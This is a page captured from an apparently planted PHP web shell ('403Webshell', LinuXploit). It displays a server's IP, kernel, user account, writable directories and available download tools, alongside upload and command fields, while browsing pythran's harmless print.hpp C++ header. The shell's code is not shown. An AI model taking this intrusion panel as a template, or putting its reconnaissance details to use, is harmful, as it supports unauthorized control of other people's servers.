403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pythran/pythonic/builtins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pythran/pythonic/builtins//print.hpp
#ifndef PYTHONIC_BUILTIN_PRINT_HPP
#define PYTHONIC_BUILTIN_PRINT_HPP

#include "pythonic/include/builtins/print.hpp"
#include "pythonic/utils/functor.hpp"

#include <iostream>

PYTHONIC_NS_BEGIN

namespace builtins
{

  namespace details
  {
    template <class T>
    std::ostream &print(std::ostream &os, T const &t)
    {
      return os << t;
    }

    std::ostream &print(std::ostream &os, bool const &t)
    {
      static char const repr[2][6] = {"False", "True\0"};
      return os << repr[t];
    }
  }

  void print_nonl()
  {
  }

  template <typename T, typename... Types>
  void print_nonl(T const &value, Types const &... values)
  {
    details::print(std::cout, value);
    if (sizeof...(Types) > 0)
      std::cout << ' ';
    print_nonl(values...);
  }

  void print()
  {
    std::cout << std::endl;
  }

  template <typename T, typename... Types>
  void print(T const &value, Types const &... values)
  {
    details::print(std::cout, value);
    if (sizeof...(values) > 0)
      std::cout << ' ';
    print(values...);
  }
}
PYTHONIC_NS_END

#endif

Youez - 2016 - github.com/yon3zu
LinuXploit